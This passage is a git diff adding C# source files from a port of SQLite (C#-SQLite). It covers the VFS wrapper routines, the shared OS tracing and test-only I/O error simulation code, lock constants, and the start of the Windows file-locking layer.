byte[amt]; + return id.pMethods.xRead( id, pBuf, amt, offset ); + } + static int sqlite3OsWrite( sqlite3_file id, byte[] pBuf, int amt, i64 offset ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xWrite( id, pBuf, amt, offset ); + } + static int sqlite3OsTruncate( sqlite3_file id, i64 size ) + { + return id.pMethods.xTruncate( id, size ); + } + static int sqlite3OsSync( sqlite3_file id, int flags ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xSync( id, flags ); + } + static int sqlite3OsFileSize( sqlite3_file id, ref int pSize ) + { + return id.pMethods.xFileSize( id, ref pSize ); + } + static int sqlite3OsLock( sqlite3_file id, int lockType ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xLock( id, lockType ); + } + static int sqlite3OsUnlock( sqlite3_file id, int lockType ) + { + return id.pMethods.xUnlock( id, lockType ); + } + static int sqlite3OsCheckReservedLock( sqlite3_file id, ref int pResOut ) + { + DO_OS_MALLOC_TEST( id ); + return id.pMethods.xCheckReservedLock( id, ref pResOut ); + } + static int sqlite3OsFileControl( sqlite3_file id, u32 op, ref int pArg ) + { + return id.pMethods.xFileControl( id, (int)op, ref pArg ); + } + + static int sqlite3OsSectorSize( sqlite3_file id ) + { + dxSectorSize xSectorSize = id.pMethods.xSectorSize; + return ( xSectorSize != null ? xSectorSize( id ) : SQLITE_DEFAULT_SECTOR_SIZE ); + } + static int sqlite3OsDeviceCharacteristics( sqlite3_file id ) + { + return id.pMethods.xDeviceCharacteristics( id ); + } + + /* + ** The next group of routines are convenience wrappers around the + ** VFS methods. + */ + static int sqlite3OsOpen( + sqlite3_vfs pVfs, + string zPath, + sqlite3_file pFile, + int flags, + ref int pFlagsOut + ) + { + int rc; + DO_OS_MALLOC_TEST( null ); + rc = pVfs.xOpen( pVfs, zPath, pFile, flags, ref pFlagsOut ); + Debug.Assert( rc == SQLITE_OK || pFile.pMethods == null ); + return rc; + } + static int sqlite3OsDelete( sqlite3_vfs pVfs, string zPath, int dirSync ) + { + return pVfs.xDelete( pVfs, zPath, dirSync ); + } + static int sqlite3OsAccess( sqlite3_vfs pVfs, string zPath, int flags, ref int pResOut ) + { + DO_OS_MALLOC_TEST( null ); + return pVfs.xAccess( pVfs, zPath, flags, ref pResOut ); + } + static int sqlite3OsFullPathname( + sqlite3_vfs pVfs, + string zPath, + int nPathOut, + StringBuilder zPathOut + ) + { + return pVfs.xFullPathname( pVfs, zPath, nPathOut, zPathOut ); + } +#if !SQLITE_OMIT_LOAD_EXTENSION + static HANDLE sqlite3OsDlOpen( sqlite3_vfs pVfs, string zPath ) + { + return pVfs.xDlOpen( pVfs, zPath ); + } + + static void sqlite3OsDlError( sqlite3_vfs pVfs, int nByte, ref string zBufOut ) + { + pVfs.xDlError( pVfs, nByte, ref zBufOut ); + } + static object sqlite3OsDlSym( sqlite3_vfs pVfs, HANDLE pHdle, ref string zSym ) + { + return pVfs.xDlSym( pVfs, pHdle, zSym ); + } + static void sqlite3OsDlClose( sqlite3_vfs pVfs, HANDLE pHandle ) + { + pVfs.xDlClose( pVfs, pHandle ); + } +#endif + static int sqlite3OsRandomness( sqlite3_vfs pVfs, int nByte, ref byte[] zBufOut ) + { + return pVfs.xRandomness( pVfs, nByte, ref zBufOut ); + } + static int sqlite3OsSleep( sqlite3_vfs pVfs, int nMicro ) + { + return pVfs.xSleep( pVfs, nMicro ); + } + static int sqlite3OsCurrentTime( sqlite3_vfs pVfs, ref double pTimeOut ) + { + return pVfs.xCurrentTime( pVfs, ref pTimeOut ); + } + + static int sqlite3OsOpenMalloc( + ref sqlite3_vfs pVfs, + string zFile, + ref sqlite3_file ppFile, + int flags, + ref int pOutFlags + ) + { + int rc = SQLITE_NOMEM; + sqlite3_file pFile; + pFile = new sqlite3_file(); //sqlite3Malloc(ref pVfs.szOsFile); + if ( pFile != null ) + { + rc = sqlite3OsOpen( pVfs, zFile, pFile, flags, ref pOutFlags ); + if ( rc != SQLITE_OK ) + { + pFile = null; // was //sqlite3DbFree(db,ref pFile); + } + else + { + ppFile = pFile; + } + } + return rc; + } + static int sqlite3OsCloseFree( sqlite3_file pFile ) + { + int rc = SQLITE_OK; + Debug.Assert( pFile != null ); + rc = sqlite3OsClose( pFile ); + //sqlite3_free( ref pFile ); + return rc; + } + + /* + ** The list of all registered VFS implementations. + */ + static sqlite3_vfs vfsList; + //#define vfsList GLOBAL(sqlite3_vfs *, vfsList) + + /* + ** Locate a VFS by name. If no name is given, simply return the + ** first VFS on the list. + */ + static bool isInit = false; + + static sqlite3_vfs sqlite3_vfs_find( string zVfs ) + { + sqlite3_vfs pVfs = null; +#if SQLITE_THREADSAFE +sqlite3_mutex mutex; +#endif +#if !SQLITE_OMIT_AUTOINIT + int rc = sqlite3_initialize(); + if ( rc != 0 ) return null; +#endif +#if SQLITE_THREADSAFE +mutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); +#endif + sqlite3_mutex_enter( mutex ); + for ( pVfs = vfsList ; pVfs != null ; pVfs = pVfs.pNext ) + { + if ( zVfs == null || zVfs == "" ) break; + if ( zVfs == pVfs.zName ) break; //strcmp(zVfs, pVfs.zName) == null) break; + } + sqlite3_mutex_leave( mutex ); + return pVfs; + } + + /* + ** Unlink a VFS from the linked list + */ + static void vfsUnlink( sqlite3_vfs pVfs ) + { + Debug.Assert( sqlite3_mutex_held( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ) ); + if ( pVfs == null ) + { + /* No-op */ + } + else if ( vfsList == pVfs ) + { + vfsList = pVfs.pNext; + } + else if ( vfsList != null ) + { + sqlite3_vfs p = vfsList; + while ( p.pNext != null && p.pNext != pVfs ) + { + p = p.pNext; + } + if ( p.pNext == pVfs ) + { + p.pNext = pVfs.pNext; + } + } + } + + /* + ** Register a VFS with the system. It is harmless to register the same + ** VFS multiple times. The new VFS becomes the default if makeDflt is + ** true. + */ + static int sqlite3_vfs_register( sqlite3_vfs pVfs, int makeDflt ) + { + sqlite3_mutex mutex; +#if !SQLITE_OMIT_AUTOINIT + int rc = sqlite3_initialize(); + if ( rc != 0 ) return rc; +#endif + mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); + sqlite3_mutex_enter( mutex ); + vfsUnlink( pVfs ); + if ( makeDflt != 0 || vfsList == null ) + { + pVfs.pNext = vfsList; + vfsList = pVfs; + } + else + { + pVfs.pNext = vfsList.pNext; + vfsList.pNext = pVfs; + } + Debug.Assert( vfsList != null ); + sqlite3_mutex_leave( mutex ); + return SQLITE_OK; + } + + /* + ** Unregister a VFS so that it is no longer accessible. + */ + static int sqlite3_vfs_unregister( sqlite3_vfs pVfs ) + { +#if SQLITE_THREADSAFE +sqlite3_mutex mutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); +#endif + sqlite3_mutex_enter( mutex ); + vfsUnlink( pVfs ); + sqlite3_mutex_leave( mutex ); + return SQLITE_OK; + } + } +} + diff --git a/SQLite/src/os_common_h.cs b/SQLite/src/os_common_h.cs new file mode 100644 index 0000000..f5962f1 --- /dev/null +++ b/SQLite/src/os_common_h.cs @@ -0,0 +1,175 @@ +using System.Diagnostics; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2004 May 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains macros and a little bit of code that is common to + ** all of the platform-specific files (os_*.c) and is #included into those + ** files. + ** + ** This file should be #included by the os_*.c files only. It is not a + ** general purpose header file. + ** + ** $Id: os_common.h,v 1.38 2009/02/24 18:40:50 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#if !_OS_COMMON_H_ + //#define _OS_COMMON_H_ + /* + ** At least two bugs have slipped in because we changed the MEMORY_DEBUG + ** macro to SQLITE_DEBUG and some older makefiles have not yet made the + ** switch. The following code should catch this problem at compile-time. + */ +#if MEMORY_DEBUG +//# error "The MEMORY_DEBUG macro is obsolete. Use SQLITE_DEBUG instead." +#endif + +#if SQLITE_DEBUG || TRACE + static bool sqlite3OsTrace = false; + static void OSTRACE1( string X ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X ); } + static void OSTRACE2( string X, object Y ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y ); } + static void OSTRACE3( string X, object Y, object Z ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z ); } + static void OSTRACE4( string X, object Y, object Z, object A ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A ); } + static void OSTRACE5( string X, object Y, object Z, object A, object B ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B ); } + static void OSTRACE6( string X, object Y, object Z, object A, object B, object C ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C ); } + static void OSTRACE7( string X, object Y, object Z, object A, object B, object C, object D ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y, Z, A, B, C, D ); } +#else +//#define OSTRACE1(X) +//#define OSTRACE2(X,Y) +//#define OSTRACE3(X,Y,Z) +//#define OSTRACE4(X,Y,Z,A) +//#define OSTRACE5(X,Y,Z,A,B) +//#define OSTRACE6(X,Y,Z,A,B,C) +//#define OSTRACE7(X,Y,Z,A,B,C,D) +#endif + + /* +** Macros for performance tracing. Normally turned off. Only works +** on i486 hardware. +*/ +#if SQLITE_PERFORMANCE_TRACE + +/* +** hwtime.h contains inline assembler code for implementing +** high-performance timing routines. +*/ +//#include "hwtime.h" + +static sqlite_u3264 g_start; +static sqlite_u3264 g_elapsed; +//#define TIMER_START g_start=sqlite3Hwtime() +//#define TIMER_END g_elapsed=sqlite3Hwtime()-g_start +//#define TIMER_ELAPSED g_elapsed +#else + const int TIMER_START = 0; //#define TIMER_START + const int TIMER_END = 0; //#define TIMER_END + const int TIMER_ELAPSED = 0; //#define TIMER_ELAPSED ((sqlite_u3264)0) +#endif + + /* +** If we compile with the SQLITE_TEST macro set, then the following block +** of code will give us the ability to simulate a disk I/O error. This +** is used for testing the I/O recovery logic. +*/ +#if SQLITE_TEST + + //static int sqlite3_io_error_hit = 0; /* Total number of I/O Errors */ + //static int sqlite3_io_error_hardhit = 0; /* Number of non-benign errors */ + //static int sqlite3_io_error_pending = 0; /* Count down to first I/O error */ + //static int sqlite3_io_error_persist = 0; /* True if I/O errors persist */ + static int sqlite3_io_error_benign = 0; /* True if errors are benign */ + //static int sqlite3_diskfull_pending = 0; + //static int sqlite3_diskfull = 0; + static void SimulateIOErrorBenign( int X ) { sqlite3_io_error_benign = ( X ); } + //#define SimulateIOError(CODE) \ + // if( (sqlite3_io_error_persist && sqlite3_io_error_hit) \ + // || sqlite3_io_error_pending-- == 1 ) \ + // { local_ioerr(); CODE; } + static bool SimulateIOError() + { + if ( ( sqlite3_io_error_persist.iValue != 0 && sqlite3_io_error_hit.iValue != 0 ) + || sqlite3_io_error_pending.iValue-- == 1 ) + { + local_ioerr(); + return true; + } + return false; + } + + static void local_ioerr() + { +#if TRACE + IOTRACE( "IOERR\n" ); +#endif + sqlite3_io_error_hit.iValue++; + if ( sqlite3_io_error_benign == 0 ) sqlite3_io_error_hardhit.iValue++; + } + //#define SimulateDiskfullError(CODE) \ + // if( sqlite3_diskfull_pending ){ \ + // if( sqlite3_diskfull_pending == 1 ){ \ + // local_ioerr(); \ + // sqlite3_diskfull = 1; \ + // sqlite3_io_error_hit = 1; \ + // CODE; \ + // }else{ \ + // sqlite3_diskfull_pending--; \ + // } \ + // } + static bool SimulateDiskfullError() + { + if ( sqlite3_diskfull_pending.iValue != 0 ) + { + if ( sqlite3_diskfull_pending.iValue == 1 ) + { + local_ioerr(); + sqlite3_diskfull.iValue = 1; + sqlite3_io_error_hit.iValue = 1; + return true; + } + else + { + sqlite3_diskfull_pending.iValue--; + } + } + return false; + } +#else +//#define SimulateIOErrorBenign(X) +//#define SimulateIOError(A) +//#define SimulateDiskfullError(A) +#endif + + /* +** When testing, keep a count of the number of open files. +*/ +#if SQLITE_TEST + //int sqlite3_open_file_count = 0; + static void OpenCounter( int X ) + { + sqlite3_open_file_count.iValue += ( X ); + } +#else +//#define OpenCounter(X) +#endif + //#endif //* !_OS_COMMON_H_) */ + } +} diff --git a/SQLite/src/os_h.cs b/SQLite/src/os_h.cs new file mode 100644 index 0000000..b050914 --- /dev/null +++ b/SQLite/src/os_h.cs @@ -0,0 +1,291 @@ +#define SQLITE_OS_WIN +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 16 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This header file (together with is companion C source-code file + ** "os.c") attempt to abstract the underlying operating system so that + ** the SQLite library will work on both POSIX and windows systems. + ** + ** This header file is #include-ed by sqliteInt.h and thus ends up + ** being included by every source file. + ** + ** $Id: os.h,v 1.108 2009/02/05 16:31:46 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ +#if !_SQLITE_OS_H_ + //#define _SQLITE_OS_H_ + + /* + ** Figure out if we are dealing with Unix, Windows, or some other + ** operating system. After the following block of preprocess macros, + ** all of SQLITE_OS_UNIX, SQLITE_OS_WIN, SQLITE_OS_OS2, and SQLITE_OS_OTHER + ** will defined to either 1 or 0. One of the four will be 1. The other + ** three will be 0. + */ + //#if defined(SQLITE_OS_OTHER) + //# if SQLITE_OS_OTHER==1 + //# undef SQLITE_OS_UNIX + //# define SQLITE_OS_UNIX 0 + //# undef SQLITE_OS_WIN + //# define SQLITE_OS_WIN 0 + //# undef SQLITE_OS_OS2 + //# define SQLITE_OS_OS2 0 + //# else + //# undef SQLITE_OS_OTHER + //# endif + //#endif + //#if !(SQLITE_OS_UNIX) && !SQLITE_OS_OTHER) + //# define SQLITE_OS_OTHER 0 + //# ifndef SQLITE_OS_WIN + //# if defined(_WIN32) || defined(WIN32) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__BORLANDC__) + //# define SQLITE_OS_WIN 1 + //# define SQLITE_OS_UNIX 0 + //# define SQLITE_OS_OS2 0 + //# elif defined(__EMX__) || defined(_OS2) || defined(OS2) || defined(_OS2_) || defined(__OS2__) + //# define SQLITE_OS_WIN 0 + //# define SQLITE_OS_UNIX 0 + //# define SQLITE_OS_OS2 1 + //# else + //# define SQLITE_OS_WIN 0 + //# define SQLITE_OS_UNIX 1 + //# define SQLITE_OS_OS2 0 + //# endif + //# else + //# define SQLITE_OS_UNIX 0 + //# define SQLITE_OS_OS2 0 + //# endif + //#else + //# ifndef SQLITE_OS_WIN + //# define SQLITE_OS_WIN 0 + //# endif + //#endif + + const bool SQLITE_OS_WIN = true; + const bool SQLITE_OS_UNIX = false; + const bool SQLITE_OS_OS2 = false; + + /* + ** Determine if we are dealing with WindowsCE - which has a much + ** reduced API. + */ + //#if defined(_WIN32_WCE) + //# define SQLITE_OS_WINCE 1 + //#else + //# define SQLITE_OS_WINCE 0 + //#endif + + /* + ** Define the maximum size of a temporary filename + */ +#if SQLITE_OS_WIN + //# include + const int MAX_PATH = 260; + const int SQLITE_TEMPNAME_SIZE = ( MAX_PATH + 50 ); //# define SQLITE_TEMPNAME_SIZE (MAX_PATH+50) +#elif SQLITE_OS_OS2 +# if FALSE //(__GNUC__ > 3 || __GNUC__ == 3 && __GNUC_MINOR__ >= 3) && OS2_HIGH_MEMORY) +//# include /* has to be included before os2.h for linking to work */ +# endif +//# define INCL_DOSDATETIME +//# define INCL_DOSFILEMGR +//# define INCL_DOSERRORS +//# define INCL_DOSMISC +//# define INCL_DOSPROCESS +//# define INCL_DOSMODULEMGR +//# define INCL_DOSSEMAPHORES +//# include +//# include +//# define SQLITE_TEMPNAME_SIZE (CCHMAXPATHCOMP) +//#else +//# define SQLITE_TEMPNAME_SIZE 200 +#endif + + /* If the SET_FULLSYNC macro is not defined above, then make it +** a no-op +*/ + //#if !SET_FULLSYNC + //# define SET_FULLSYNC(x,y) + //#endif + + /* + ** The default size of a disk sector + */ +#if !SQLITE_DEFAULT_SECTOR_SIZE + const int SQLITE_DEFAULT_SECTOR_SIZE = 512;//# define SQLITE_DEFAULT_SECTOR_SIZE 512 +#endif + + /* +** Temporary files are named starting with this prefix followed by 16 random +** alphanumeric characters, and no file extension. They are stored in the +** OS's standard temporary file directory, and are deleted prior to exit. +** If sqlite is being embedded in another program, you may wish to change the +** prefix to reflect your program's name, so that if your program exits +** prematurely, old temporary files can be easily identified. This can be done +** using -DSQLITE_TEMP_FILE_PREFIX=myprefix_ on the compiler command line. +** +** 2006-10-31: The default prefix used to be "sqlite_". But then +** Mcafee started using SQLite in their anti-virus product and it +** started putting files with the "sqlite" name in the c:/temp folder. +** This annoyed many windows users. Those users would then do a +** Google search for "sqlite", find the telephone numbers of the +** developers and call to wake them up at night and complain. +** For this reason, the default name prefix is changed to be "sqlite" +** spelled backwards. So the temp files are still identified, but +** anybody smart enough to figure out the code is also likely smart +** enough to know that calling the developer will not help get rid +** of the file. +*/ +#if !SQLITE_TEMP_FILE_PREFIX + const string SQLITE_TEMP_FILE_PREFIX = "etilqs_"; //# define SQLITE_TEMP_FILE_PREFIX "etilqs_" +#endif + + /* +** The following values may be passed as the second argument to +** sqlite3OsLock(). The various locks exhibit the following semantics: +** +** SHARED: Any number of processes may hold a SHARED lock simultaneously. +** RESERVED: A single process may hold a RESERVED lock on a file at +** any time. Other processes may hold and obtain new SHARED locks. +** PENDING: A single process may hold a PENDING lock on a file at +** any one time. Existing SHARED locks may persist, but no new +** SHARED locks may be obtained by other processes. +** EXCLUSIVE: An EXCLUSIVE lock precludes all other locks. +** +** PENDING_LOCK may not be passed directly to sqlite3OsLock(). Instead, a +** process that requests an EXCLUSIVE lock may actually obtain a PENDING +** lock. This can be upgraded to an EXCLUSIVE lock by a subsequent call to +** sqlite3OsLock(). +*/ + const int NO_LOCK = 0; + const int SHARED_LOCK = 1; + const int RESERVED_LOCK = 2; + const int PENDING_LOCK = 3; + const int EXCLUSIVE_LOCK = 4; + + /* + ** File Locking Notes: (Mostly about windows but also some info for Unix) + ** + ** We cannot use LockFileEx() or UnlockFileEx() on Win95/98/ME because + ** those functions are not available. So we use only LockFile() and + ** UnlockFile(). + ** + ** LockFile() prevents not just writing but also reading by other processes. + ** A SHARED_LOCK is obtained by locking a single randomly-chosen + ** byte out of a specific range of bytes. The lock byte is obtained at + ** random so two separate readers can probably access the file at the + ** same time, unless they are unlucky and choose the same lock byte. + ** An EXCLUSIVE_LOCK is obtained by locking all bytes in the range. + ** There can only be one writer. A RESERVED_LOCK is obtained by locking + ** a single byte of the file that is designated as the reserved lock byte. + ** A PENDING_LOCK is obtained by locking a designated byte different from + ** the RESERVED_LOCK byte. + ** + ** On WinNT/2K/XP systems, LockFileEx() and UnlockFileEx() are available, + ** which means we can use reader/writer locks. When reader/writer locks + ** are used, the lock is placed on the same range of bytes that is used + ** for probabilistic locking in Win95/98/ME. Hence, the locking scheme + ** will support two or more Win95 readers or two or more WinNT readers. + ** But a single Win95 reader will lock out all WinNT readers and a single + ** WinNT reader will lock out all other Win95 readers. + ** + ** The following #defines specify the range of bytes used for locking. + ** SHARED_SIZE is the number of bytes available in the pool from which + ** a random byte is selected for a shared lock. The pool of bytes for + ** shared locks begins at SHARED_FIRST. + ** + ** The same locking strategy and + ** byte ranges are used for Unix. This leaves open the possiblity of having + ** clients on win95, winNT, and unix all talking to the same shared file + ** and all locking correctly. To do so would require that samba (or whatever + ** tool is being used for file sharing) implements locks correctly between + ** windows and unix. I'm guessing that isn't likely to happen, but by + ** using the same locking range we are at least open to the possibility. + ** + ** Locking in windows is manditory. For this reason, we cannot store + ** actual data in the bytes used for locking. The pager never allocates + ** the pages involved in locking therefore. SHARED_SIZE is selected so + ** that all locks will fit on a single page even at the minimum page size. + ** PENDING_BYTE defines the beginning of the locks. By default PENDING_BYTE + ** is set high so that we don't have to allocate an unused page except + ** for very large databases. But one should test the page skipping logic + ** by setting PENDING_BYTE low and running the entire regression suite. + ** + ** Changing the value of PENDING_BYTE results in a subtly incompatible + ** file format. Depending on how it is changed, you might not notice + ** the incompatibility right away, even running a full regression test. + ** The default location of PENDING_BYTE is the first byte past the + ** 1GB boundary. + ** + */ + static int PENDING_BYTE = 0x40000000; //sqlite3PendingByte; + + static int RESERVED_BYTE = ( PENDING_BYTE + 1 ); + static int SHARED_FIRST = ( PENDING_BYTE + 2 ); + static int SHARED_SIZE = 510; + + /* + ** Functions for accessing sqlite3_file methods + */ + //int sqlite3OsClose(sqlite3_file*); + //int sqlite3OsRead(sqlite3_file*, void*, int amt, i64 offset); + //int sqlite3OsWrite(sqlite3_file*, const void*, int amt, i64 offset); + //int sqlite3OsTruncate(sqlite3_file*, i64 size); + //int sqlite3OsSync(sqlite3_file*, int); + //int sqlite3OsFileSize(sqlite3_file*, i64 pSize); + //int sqlite3OsLock(sqlite3_file*, int); + //int sqlite3OsUnlock(sqlite3_file*, int); + //int sqlite3OsCheckReservedLock(sqlite3_file *id, int pResOut); + //int sqlite3OsFileControl(sqlite3_file*,int,void*); + //#define SQLITE_FCNTL_DB_UNCHANGED 0xca093fa0 + const u32 SQLITE_FCNTL_DB_UNCHANGED = 0xca093fa0; + + //int sqlite3OsSectorSize(sqlite3_file *id); + //int sqlite3OsDeviceCharacteristics(sqlite3_file *id); + + /* + ** Functions for accessing sqlite3_vfs methods + */ + //int sqlite3OsOpen(sqlite3_vfs *, const char *, sqlite3_file*, int, int *); + //int sqlite3OsDelete(sqlite3_vfs *, const char *, int); + //int sqlite3OsAccess(sqlite3_vfs *, const char *, int, int pResOut); + //int sqlite3OsFullPathname(sqlite3_vfs *, const char *, int, char *); +#if !SQLITE_OMIT_LOAD_EXTENSION + //void *sqlite3OsDlOpen(sqlite3_vfs *, const char *); + //void sqlite3OsDlError(sqlite3_vfs *, int, char *); + //void (*sqlite3OsDlSym(sqlite3_vfs *, void *, const char *))(void); + //void sqlite3OsDlClose(sqlite3_vfs *, void *); +#endif + //int sqlite3OsRandomness(sqlite3_vfs *, int, char *); + //int sqlite3OsSleep(sqlite3_vfs *, int); + //int sqlite3OsCurrentTime(sqlite3_vfs *, double*); + + /* + ** Convenience functions for opening and closing files using + ** sqlite3Malloc() to obtain space for the file-handle structure. + */ + //int sqlite3OsOpenMalloc(sqlite3_vfs *, const char *, sqlite3_file **, int,int*); + //int sqlite3OsCloseFree(sqlite3_file *); +#endif // * _SQLITE_OS_H_ */ + + } +} diff --git a/SQLite/src/os_win_c.cs b/SQLite/src/os_win_c.cs new file mode 100644 index 0000000..1f86dfd --- /dev/null +++ b/SQLite/src/os_win_c.cs @@ -0,0 +1,2406 @@ +#define SQLITE_OS_WIN + +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; + +using HANDLE = System.IntPtr; +using DWORD = System.UInt64; +using WORD = System.Int32; +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; + +using sqlite3_int64 = System.Int64; + +namespace CS_SQLite3 +{ + internal static class HelperMethods + { + public static bool IsRunningMediumTrust() + { + // placeholder method + // this is where it needs to check if it's running in an ASP.Net MediumTrust or lower environment + // in order to pick the appropriate locking strategy + return false; + } + } + + public partial class CSSQLite + { + /// + /// Basic locking strategy for Console/Winform applications + /// + private class LockingStrategy + { + [DllImport( "kernel32.dll" )] + static extern bool LockFileEx( IntPtr hFile, uint dwFlags, uint dwReserved, + uint nNumberOfBytesToLockLow, uint nNumberOfBytesToLockHigh, + [In] ref System.Threading.NativeOverlapped lpOverlapped ); + + const int LOCKFILE_FAIL_IMMEDIATELY = 1; + + public virtual void LockFile( sqlite3_file pFile, long offset, long length ) + { + pFile.fs.Lock( offset, length ); + } + + public virtual int SharedLockFile( sqlite3_file pFile, long offset, long length ) + { + Debug.Assert( length == SHARED_SIZE ); + Debug.Assert( offset == SHARED_FIRST ); + System.Threading.NativeOverlapped ovlp = new System.Threading.NativeOverlapped(); + ovlp.OffsetLow = (int)offset; + ovlp.OffsetHigh = 0; + ovlp.EventHandle = IntPtr.Zero; + + return LockFileEx( pFile.fs.Handle, LOCKFILE_FAIL_IMMEDIATELY, 0, (uint)length, 0, ref ovlp ) ? 1 : 0; + } + + public virtual void UnlockFile( sqlite3_file pFile, long offset, long length ) + { + pFile.fs.Unlock( offset, length ); + } + } + + /// + /// Locking strategy for Medium Trust. It uses the same trick used in the native code for WIN_CE + /// which doesn't support LockFileEx as well. + /// + private class MediumTrustLockingStrategy : LockingStrategy + { + public override int SharedLockFile( sqlite3_file pFile, long offset, long length ) + { + Debug.Assert( length == SHARED_SIZE ); + Debug.Assert( offset == SHARED_FIRST ); + try + { + pFile.fs.Lock( offset + pFile.sharedLockByte, 1 ); + } + catch ( IOException ) + { + return 0; + } + return 1; + } + } + + + + /* + ** 2004 May 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains code that is specific to windows. + ** + ** $Id: os_win.c,v 1.157 2009/08/05 04:08:30 shane Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" +#if SQLITE_OS_WIN // * This file is used for windows only */ + + + /* +** A Note About Memory Allocation: +** +** This driver uses malloc()/free() directly rather than going through +** the SQLite-wrappers sqlite3Malloc()///sqlite3DbFree(db,ref ). Those wrappers +** are designed for use on embedded systems where memory is scarce and +** malloc failures happen frequently. Win32 does not typically run on +** embedded systems, and when it does the developers normally have bigger +** problems to worry about than running out of memory. So there is not +** a compelling need to use the wrappers. +** +** But there is a good reason to not use the wrappers. If we use the +** wrappers then we will get simulated malloc() failures within this +** driver. And that causes all kinds of problems for our tests. We +** could enhance SQLite to deal with simulated malloc failures within +** the OS driver, but the code to deal with those failure would not +** be exercised on Linux (which does not need to malloc() in the driver) +** and so we would have difficulty writing coverage tests for that +** code. Better to leave the code out, we think. +** +** The point of this discussion is as follows: When creating a new +** OS layer for an embedded system, if you use this file as an example, +** avoid the use of malloc()/free(). Those routines work ok on windows +** desktops but not so well in embedded systems. +*/ + + //#include + +#if __CYGWIN__ +//# include +#endif + + /* +** Macros used to determine whether or not to use threads. +*/ +#if THREADSAFE +//# define SQLITE_W32_THREADS 1 +#endif + + /* +** Include code that is common to all os_*.c files +*/ + //#include "os_common.h" + + /* + ** Some microsoft compilers lack this definition. + */ +#if !INVALID_FILE_ATTRIBUTES + //# define INVALID_FILE_ATTRIBUTES ((DWORD)-1) + const int INVALID_FILE_ATTRIBUTES = -1; +#endif + + /* +** Determine if we are dealing with WindowsCE - which has a much +** reduced API. +*/ +#if SQLITE_OS_WINCE +//# define AreFileApisANSI() 1 +//# define GetDiskFreeSpaceW() 0 +#endif + + /* +** WinCE lacks native support for file locking so we have to fake it +** with some code of our own. +*/ +#if SQLITE_OS_WINCE +typedef struct winceLock { +int nReaders; /* Number of reader locks obtained */ +BOOL bPending; /* Indicates a pending lock has been obtained */ +BOOL bReserved; /* Indicates a reserved lock has been obtained */ +BOOL bExclusive; /* Indicates an exclusive lock has been obtained */ +} winceLock; +#endif + + private static LockingStrategy lockingStrategy = HelperMethods.IsRunningMediumTrust() ? new MediumTrustLockingStrategy() : new LockingStrategy(); + + /* + ** The winFile structure is a subclass of sqlite3_file* specific to the win32 + ** portability layer. + */ + //typedef struct sqlite3_file sqlite3_file; + public partial class sqlite3_file + { + public FileStream fs; /* Filestream access to this file*/ + // public HANDLE h; /* Handle for accessing the file */ + public int locktype; /* Type of lock currently held on this file */ + public int sharedLockByte; /* Randomly chosen byte used as a shared lock */ + public DWORD lastErrno; /* The Windows errno from the last I/O error */ + public DWORD sectorSize; /* Sector size of the device file is on */ +#if SQLITE_OS_WINCE +WCHAR *zDeleteOnClose; /* Name of file to delete when closing */ +HANDLE hMutex; /* Mutex used to control access to shared lock */ +HANDLE hShared; /* Shared memory segment used for locking */ +winceLock local; /* Locks obtained by this instance of sqlite3_file */ +winceLock *shared; /* Global shared lock memory for the file */ +#endif + + public void Clear() + { + pMethods = null; + fs = null; + locktype = 0; + sharedLockByte = 0; + lastErrno = 0; + sectorSize = 0; + } + }; + + /* + ** Forward prototypes. + */ + //static int getSectorSize( + // sqlite3_vfs *pVfs, + // const char *zRelative /* UTF-8 file name */ + //); + + /* + ** The following variable is (normally) set once and never changes + ** thereafter. It records whether the operating system is Win95 + ** or WinNT. + ** + ** 0: Operating system unknown. + ** 1: Operating system is Win95. + ** 2: Operating system is WinNT. + ** + ** In order to facilitate testing on a WinNT system, the test fixture + ** can manually set this value to 1 to emulate Win98 behavior. + */ +#if SQLITE_TEST + int sqlite3_os_type = 0; +#else +static int sqlite3_os_type = 0; +#endif + + /* +** Return true (non-zero) if we are running under WinNT, Win2K, WinXP, +** or WinCE. Return false (zero) for Win95, Win98, or WinME. +** +** Here is an interesting observation: Win95, Win98, and WinME lack +** the LockFileEx() API. But we can still statically 